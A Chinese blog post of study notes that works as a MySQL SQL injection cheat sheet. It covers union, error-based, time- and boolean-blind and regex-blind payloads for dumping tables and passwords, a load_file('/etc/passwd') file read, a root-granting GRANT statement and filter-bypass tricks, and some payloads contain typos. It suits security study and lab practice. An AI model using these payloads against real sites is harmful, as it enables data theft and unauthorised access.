sql注入漏洞

一、sql注入类型

sql注入方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注。

1. 可显注入
攻击者可以直接在当前界面内容中获取想要获得的内容。

2. 报错注入
数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,所以攻击者可以构造数据库报错语句,从报错信息中获取想要获得的内容。

3. 盲注
数据库查询结果无法从直观页面中获取,攻击者通过使用数据库逻辑或者使数据库执行延时等方法获取想要获得的内容。

二、mysql手工注入

1. 联合注入

?id=1' order by 3 --+
?id=0' union select 1,2,database() --+
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
?id=0' union select 1,2,group_concat(user,password) from users--+
?id=0' union select 1,2,password from users limit 0,1 --+

2. 报错注入

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select version()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

爆库:
?id=1' and updatexml(1,(select concat(ox7e,(schema_name),0x7e) from information_schema.schemata limit 1,1),1) --+

爆表:
?id=1'  and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schena="security" limit 1,1),1) --+

爆字段:
?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x75433333 limit 1,1),1) --+

爆数据:
?id=1’ and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) --+
或者
?id=1' and updatexml(1,(concat(0x7e,(select password from users limit 1,1),0x7e)),1) --+

3. 时间盲注
常用函数sleep()、substr()、substring()、left()、ascii()、hex()
一般时间盲注我们想要配合条件判断函数来使用

if (expre1,expre2,expre3)
当expre1为true时,返回expre2,false时,返回expre3

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5)) --+

?id=1’ and if((substr((select user()),1,1)=‘r’),sleep(5),1)–+

4. 布尔盲注

?id=1' and substr((select user()),1,1)='r' --+

?id=1’ and IFNULL((substr((select user()),1,1)=‘r’),0) --+
//如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

id=1’ and strcmp((substr((select user()),1,1)=‘r’),1) --+
//若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

insert、delete、update
最终注入会出现在注册、ip头、留言板等等需要写入数据的地方。

三、 判断注入点是否存在

1. 数字型注入判断

//在url后输入
and 1=1
and 1=2
如果返回不同,则可判断注入点存在

2. 字符型注入判断

//在url后输入
’ and 1=1 and ‘1’='1
’ and 1=2 and ‘1’='1

3. 搜索型注入

’ 返回错误
x%’ and 1=1 and ‘%’=’ 返回正确
x%’ and 1=2 and ‘%’=’ 返回错误

四、实用知识点

显示计算机名:select @@hostname;
显示系统版本:select @@version_compile_os;
显示mysql路径:select @@basedir;
显示数据库路径:select @@datadir;

开启外连:grant all privileges on . to 'root'@'%' identified by '123456' with grant option;

mysql提供了load_file()函数,可以帮助用户快速读取文件,但是文件位置必须在服务器上,文件路径必须为绝对路径,而且需要root权限。
例子:union select load_file('/etc/passwd)#

mysql注释:

  1. #这个注释直到该行结束;
  2. /注释多行/;
  3. --+ 这个注释直到该行结束。

绕过空格过滤
我们可以使用//、%09、%0A、%0D、+、/|-|/、/@-|/、/?-|/、/|%20-%20|/来替换空格。

在window下的Oracle数据库,必须以system权限运行。

如果注入语句中的'='被过滤,可以考虑使用like关键字替换:union select password from users where username like admin;

如果空格被过滤,可以考虑使用'/**/'替换

sql盲注之正则表达式攻击

  1. 判断第一个表名的第一个字符是否是a-z中的字符,假设当前数据库为test
    :正则表达式中[1]表示字符串中开始字符在a-z范围内
    index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema='test' and table_name regexp '^[a-z]' limit 0,1)/*

  2. 判断第一个字符是否为a-e中的字符
    index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema='test' and table_name regexp '^[a-e]' limit 0,1)--+

  3. 确定第一个字符为n
    index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema='test' and table_name regexp '^n' limit 0,1)/*

  4. 表达式的更换
    expression like this:'^t[a-z]' -> '^te[a-z]' -> '^tes[a-z]' -> FALSE

  5. 实例
    and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);


  1. a-z ↩︎

posted @ 2023-07-17 15:01  kalixcn  阅读(75)  评论(0编辑  收藏  举报